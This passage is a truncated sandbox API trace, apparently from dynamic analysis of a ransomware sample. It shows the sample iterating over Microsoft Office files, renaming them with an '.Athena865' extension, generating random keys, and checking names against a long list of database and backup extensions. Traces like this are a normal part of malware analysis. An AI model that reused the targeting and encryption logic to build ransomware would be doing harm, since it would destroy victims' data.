hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.843] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.843] CloseHandle (hObject=0x154) returned 1 [0146.843] CloseHandle (hObject=0x17c) returned 1 [0146.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.844] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e13be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPRING.CSS", cAlternateFileName="")) returned 1 [0146.844] lstrcmpiW (lpString1="SPRING.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.844] lstrcmpiW (lpString1="SPRING.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.844] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SPRING.CSS" | out: lpString1="SPRING.CSS") returned="SPRING.CSS" [0146.844] lstrlenW (lpString="SPRING.CSS") returned 10 [0146.844] lstrlenW (lpString="Athena865") returned 9 [0146.844] lstrcmpiW (lpString1="PRING.CSS", lpString2="Athena865") returned 1 [0146.844] lstrlenW (lpString=".dll") returned 4 [0146.844] lstrcmpiW (lpString1="SPRING.CSS", lpString2=".dll") returned 1 [0146.844] lstrlenW (lpString=".lnk") returned 4 [0146.844] lstrcmpiW (lpString1="SPRING.CSS", lpString2=".lnk") returned 1 [0146.844] lstrlenW (lpString=".ini") returned 4 [0146.844] lstrcmpiW (lpString1="SPRING.CSS", lpString2=".ini") returned 1 [0146.844] lstrlenW (lpString=".sys") returned 4 [0146.844] lstrcmpiW (lpString1="SPRING.CSS", lpString2=".sys") returned 1 [0146.844] lstrlenW (lpString="SPRING.CSS") returned 10 [0146.844] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.Athena865") returned 68 [0146.845] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.athena865"), dwFlags=0x1) returned 1 [0146.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPRING.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\spring.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.848] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3450) returned 1 [0146.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.848] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.848] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.849] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.849] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.849] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.850] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.851] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.852] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.852] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.852] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.852] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.853] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.853] CloseHandle (hObject=0x154) returned 1 [0146.853] CloseHandle (hObject=0x17c) returned 1 [0146.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.853] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.853] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e13be0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPS.CSS", cAlternateFileName="")) returned 1 [0146.853] lstrcmpiW (lpString1="SPS.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.853] lstrcmpiW (lpString1="SPS.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.853] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SPS.CSS" | out: lpString1="SPS.CSS") returned="SPS.CSS" [0146.853] lstrlenW (lpString="SPS.CSS") returned 7 [0146.853] lstrlenW (lpString="Athena865") returned 9 [0146.853] lstrlenW (lpString=".dll") returned 4 [0146.853] lstrcmpiW (lpString1="SPS.CSS", lpString2=".dll") returned 1 [0146.853] lstrlenW (lpString=".lnk") returned 4 [0146.853] lstrcmpiW (lpString1="SPS.CSS", lpString2=".lnk") returned 1 [0146.853] lstrlenW (lpString=".ini") returned 4 [0146.853] lstrcmpiW (lpString1="SPS.CSS", lpString2=".ini") returned 1 [0146.854] lstrlenW (lpString=".sys") returned 4 [0146.854] lstrcmpiW (lpString1="SPS.CSS", lpString2=".sys") returned 1 [0146.854] lstrlenW (lpString="SPS.CSS") returned 7 [0146.854] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.Athena865") returned 65 [0146.854] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.athena865"), dwFlags=0x1) returned 1 [0146.855] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPS.CSS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sps.css.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.855] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3452) returned 1 [0146.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.856] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.856] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.856] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.856] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.857] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1080, lpName=0x0) returned 0x154 [0146.858] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1080) returned 0x100000 [0146.859] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.860] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.860] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.860] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.861] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.861] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.861] CloseHandle (hObject=0x154) returned 1 [0146.861] CloseHandle (hObject=0x17c) returned 1 [0146.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.861] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.861] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3a6b500, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50e5fea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe3a6b500, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="STEEL.CSS", cAlternateFileName="")) returned 1 [0146.862] lstrcmpiW (lpString1="STEEL.CSS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.862] lstrcmpiW (lpString1="STEEL.CSS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.862] lstrcpyW (in: lpString1=0x241e8a8, lpString2="STEEL.CSS" | out: lpString1="STEEL.CSS") returned="STEEL.CSS" [0146.862] lstrlenW (lpString="STEEL.CSS") returned 9 [0146.862] lstrlenW (lpString="Athena865") returned 9 [0146.862] lstrlenW (lpString=".dll") returned 4 [0146.862] lstrcmpiW (lpString1="STEEL.CSS", lpString2=".dll") returned 1 [0146.862] lstrlenW (lpString=".lnk") returned 4 [0146.862] lstrcmpiW (lpString1="STEEL.CSS", lpString2=".lnk") returned 1 [0146.862] lstrlenW (lpString=".ini") returned 4 [0146.862] lstrcmpiW (lpString1="STEEL.CSS", lpString2=".ini") returned 1 [0146.862] lstrlenW (lpString=".sys") returned 4 [0146.862] lstrcmpiW (lpString1="STEEL.CSS", lpString2=".sys") returned 1 [0146.862] lstrlenW (lpString="STEEL.CSS") returned 9 [0146.862] lstrlenW (lpString="bak") returned 3 [0146.862] lstrcmpiW (lpString1="CSS", lpString2="bak") returned 1 [0146.862] lstrlenW (lpString="ba_") returned 3 [0146.862] lstrcmpiW (lpString1="CSS", lpString2="ba_") returned 1 [0146.862] lstrlenW (lpString="dbb") returned 3 [0146.862] lstrcmpiW (lpString1="CSS", lpString2="dbb") returned -1 [0146.862] lstrlenW (lpString="vmdk") returned 4 [0146.862] lstrcmpiW (lpString1=".CSS", lpString2="vmdk") returned -1 [0146.862] lstrlenW (lpString="rar") returned 3 [0146.862] lstrcmpiW (lpString1="CSS", lpString2="rar") returned -1 [0146.862] lstrlenW (lpString="zip") returned 3 [0146.862] lstrcmpiW (lpString1="CSS", lpString2="zip") returned -1 [0146.862] lstrlenW (lpString="tgz") returned 3 [0146.862] lstrcmpiW (lpString1="CSS", lpString2="tgz") returned -1 [0146.863] lstrlenW (lpString="vbox") returned 4 [0146.863] lstrcmpiW (lpString1=".CSS", lpString2="vbox") returned -1 [0146.863] lstrlenW (lpString="vdi") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="vdi") returned -1 [0146.863] lstrlenW (lpString="vhd") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="vhd") returned -1 [0146.863] lstrlenW (lpString="vhdx") returned 4 [0146.863] lstrcmpiW (lpString1=".CSS", lpString2="vhdx") returned -1 [0146.863] lstrlenW (lpString="avhd") returned 4 [0146.863] lstrcmpiW (lpString1=".CSS", lpString2="avhd") returned -1 [0146.863] lstrlenW (lpString="db") returned 2 [0146.863] lstrcmpiW (lpString1="SS", lpString2="db") returned 1 [0146.863] lstrlenW (lpString="db2") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="db2") returned -1 [0146.863] lstrlenW (lpString="db3") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="db3") returned -1 [0146.863] lstrlenW (lpString="dbf") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="dbf") returned -1 [0146.863] lstrlenW (lpString="mdf") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="mdf") returned -1 [0146.863] lstrlenW (lpString="mdb") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="mdb") returned -1 [0146.863] lstrlenW (lpString="sql") returned 3 [0146.863] lstrcmpiW (lpString1="CSS", lpString2="sql") returned -1 [0146.863] lstrlenW (lpString="sqlite") returned 6 [0146.863] lstrcmpiW (lpString1="EL.CSS", lpString2="sqlite") returned -1 [0146.863] lstrlenW (lpString="sqlite3") returned 7 [0146.863] lstrcmpiW (lpString1="EEL.CSS", lpString2="sqlite3") returned -1 [0146.863] lstrlenW (lpString="sqlitedb") returned 8 [0146.863] lstrcmpiW (lpString1="TEEL.CSS", lpString2="sqlitedb") returned 1 [0146.864] lstrlenW (lpString="xml") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="xml") returned -1 [0146.864] lstrlenW (lpString="$er") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="$er") returned 1 [0146.864] lstrlenW (lpString="4dd") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="4dd") returned 1 [0146.864] lstrlenW (lpString="4dl") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="4dl") returned 1 [0146.864] lstrlenW (lpString="^^^") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="^^^") returned 1 [0146.864] lstrlenW (lpString="abs") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="abs") returned 1 [0146.864] lstrlenW (lpString="abx") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="abx") returned 1 [0146.864] lstrlenW (lpString="accdb") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accdb") returned 1 [0146.864] lstrlenW (lpString="accdc") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accdc") returned 1 [0146.864] lstrlenW (lpString="accde") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accde") returned 1 [0146.864] lstrlenW (lpString="accdr") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accdr") returned 1 [0146.864] lstrlenW (lpString="accdt") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accdt") returned 1 [0146.864] lstrlenW (lpString="accdw") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accdw") returned 1 [0146.864] lstrlenW (lpString="accft") returned 5 [0146.864] lstrcmpiW (lpString1="L.CSS", lpString2="accft") returned 1 [0146.864] lstrlenW (lpString="adb") returned 3 [0146.864] lstrcmpiW (lpString1="CSS", lpString2="adb") returned 1 [0146.865] lstrlenW (lpString="adb") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="adb") returned 1 [0146.865] lstrlenW (lpString="ade") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="ade") returned 1 [0146.865] lstrlenW (lpString="adf") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="adf") returned 1 [0146.865] lstrlenW (lpString="adn") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="adn") returned 1 [0146.865] lstrlenW (lpString="adp") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="adp") returned 1 [0146.865] lstrlenW (lpString="alf") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="alf") returned 1 [0146.865] lstrlenW (lpString="ask") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="ask") returned 1 [0146.865] lstrlenW (lpString="btr") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="btr") returned 1 [0146.865] lstrlenW (lpString="cat") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="cat") returned 1 [0146.865] lstrlenW (lpString="cdb") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="cdb") returned 1 [0146.865] lstrlenW (lpString="ckp") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="ckp") returned 1 [0146.865] lstrlenW (lpString="cma") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="cma") returned 1 [0146.865] lstrlenW (lpString="cpd") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="cpd") returned 1 [0146.865] lstrlenW (lpString="dacpac") returned 6 [0146.865] lstrcmpiW (lpString1="EL.CSS", lpString2="dacpac") returned 1 [0146.865] lstrlenW (lpString="dad") returned 3 [0146.865] lstrcmpiW (lpString1="CSS", lpString2="dad") returned -1 [0146.866] lstrlenW (lpString="dadiagrams") returned 10 [0146.866] lstrlenW (lpString="daschema") returned 8 [0146.866] lstrcmpiW (lpString1="TEEL.CSS", lpString2="daschema") returned 1 [0146.866] lstrlenW (lpString="db-journal") returned 10 [0146.866] lstrlenW (lpString="db-shm") returned 6 [0146.866] lstrcmpiW (lpString1="EL.CSS", lpString2="db-shm") returned 1 [0146.866] lstrlenW (lpString="db-wal") returned 6 [0146.866] lstrcmpiW (lpString1="EL.CSS", lpString2="db-wal") returned 1 [0146.866] lstrlenW (lpString="dbc") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dbc") returned -1 [0146.866] lstrlenW (lpString="dbs") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dbs") returned -1 [0146.866] lstrlenW (lpString="dbt") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dbt") returned -1 [0146.866] lstrlenW (lpString="dbv") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dbv") returned -1 [0146.866] lstrlenW (lpString="dbx") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dbx") returned -1 [0146.866] lstrlenW (lpString="dcb") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dcb") returned -1 [0146.866] lstrlenW (lpString="dct") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dct") returned -1 [0146.866] lstrlenW (lpString="dcx") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dcx") returned -1 [0146.866] lstrlenW (lpString="ddl") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="ddl") returned -1 [0146.866] lstrlenW (lpString="dlis") returned 4 [0146.866] lstrcmpiW (lpString1=".CSS", lpString2="dlis") returned -1 [0146.866] lstrlenW (lpString="dp1") returned 3 [0146.866] lstrcmpiW (lpString1="CSS", lpString2="dp1") returned -1 [0146.867] lstrlenW (lpString="dqy") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="dqy") returned -1 [0146.867] lstrlenW (lpString="dsk") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="dsk") returned -1 [0146.867] lstrlenW (lpString="dsn") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="dsn") returned -1 [0146.867] lstrlenW (lpString="dtsx") returned 4 [0146.867] lstrcmpiW (lpString1=".CSS", lpString2="dtsx") returned -1 [0146.867] lstrlenW (lpString="dxl") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="dxl") returned -1 [0146.867] lstrlenW (lpString="eco") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="eco") returned -1 [0146.867] lstrlenW (lpString="ecx") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="ecx") returned -1 [0146.867] lstrlenW (lpString="edb") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="edb") returned -1 [0146.867] lstrlenW (lpString="epim") returned 4 [0146.867] lstrcmpiW (lpString1=".CSS", lpString2="epim") returned -1 [0146.867] lstrlenW (lpString="fcd") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="fcd") returned -1 [0146.867] lstrlenW (lpString="fdb") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="fdb") returned -1 [0146.867] lstrlenW (lpString="fic") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="fic") returned -1 [0146.867] lstrlenW (lpString="flexolibrary") returned 12 [0146.867] lstrlenW (lpString="fm5") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="fm5") returned -1 [0146.867] lstrlenW (lpString="fmp") returned 3 [0146.867] lstrcmpiW (lpString1="CSS", lpString2="fmp") returned -1 [0146.867] lstrlenW (lpString="fmp12") returned 5 [0146.868] lstrcmpiW (lpString1="L.CSS", lpString2="fmp12") returned 1 [0146.868] lstrlenW (lpString="fmpsl") returned 5 [0146.868] lstrcmpiW (lpString1="L.CSS", lpString2="fmpsl") returned 1 [0146.868] lstrlenW (lpString="fol") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="fol") returned -1 [0146.868] lstrlenW (lpString="fp3") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="fp3") returned -1 [0146.868] lstrlenW (lpString="fp4") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="fp4") returned -1 [0146.868] lstrlenW (lpString="fp5") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="fp5") returned -1 [0146.868] lstrlenW (lpString="fp7") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="fp7") returned -1 [0146.868] lstrlenW (lpString="fpt") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="fpt") returned -1 [0146.868] lstrlenW (lpString="frm") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="frm") returned -1 [0146.868] lstrlenW (lpString="gdb") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="gdb") returned -1 [0146.868] lstrlenW (lpString="gdb") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="gdb") returned -1 [0146.868] lstrlenW (lpString="grdb") returned 4 [0146.868] lstrcmpiW (lpString1=".CSS", lpString2="grdb") returned -1 [0146.868] lstrlenW (lpString="gwi") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="gwi") returned -1 [0146.868] lstrlenW (lpString="hdb") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="hdb") returned -1 [0146.868] lstrlenW (lpString="his") returned 3 [0146.868] lstrcmpiW (lpString1="CSS", lpString2="his") returned -1 [0146.868] lstrlenW (lpString="ib") returned 2 [0146.868] lstrcmpiW (lpString1="SS", lpString2="ib") returned 1 [0146.869] lstrlenW (lpString="idb") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="idb") returned -1 [0146.869] lstrlenW (lpString="ihx") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="ihx") returned -1 [0146.869] lstrlenW (lpString="itdb") returned 4 [0146.869] lstrcmpiW (lpString1=".CSS", lpString2="itdb") returned -1 [0146.869] lstrlenW (lpString="itw") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="itw") returned -1 [0146.869] lstrlenW (lpString="jet") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="jet") returned -1 [0146.869] lstrlenW (lpString="jtx") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="jtx") returned -1 [0146.869] lstrlenW (lpString="kdb") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="kdb") returned -1 [0146.869] lstrlenW (lpString="kexi") returned 4 [0146.869] lstrcmpiW (lpString1=".CSS", lpString2="kexi") returned -1 [0146.869] lstrlenW (lpString="kexic") returned 5 [0146.869] lstrcmpiW (lpString1="L.CSS", lpString2="kexic") returned 1 [0146.869] lstrlenW (lpString="kexis") returned 5 [0146.869] lstrcmpiW (lpString1="L.CSS", lpString2="kexis") returned 1 [0146.869] lstrlenW (lpString="lgc") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="lgc") returned -1 [0146.869] lstrlenW (lpString="lwx") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="lwx") returned -1 [0146.869] lstrlenW (lpString="maf") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="maf") returned -1 [0146.869] lstrlenW (lpString="maq") returned 3 [0146.869] lstrcmpiW (lpString1="CSS", lpString2="maq") returned -1 [0146.869] lstrlenW (lpString="mar") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mar") returned -1 [0146.870] lstrlenW (lpString="marshal") returned 7 [0146.870] lstrcmpiW (lpString1="EEL.CSS", lpString2="marshal") returned -1 [0146.870] lstrlenW (lpString="mas") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mas") returned -1 [0146.870] lstrlenW (lpString="mav") returned 3 [0146.870] lstrcmpiW (lpString1="CSS", lpString2="mav") returned -1 [0146.870] lstrlenW (lpString="maw") returned 3 [0146.870] lstrcmpiW 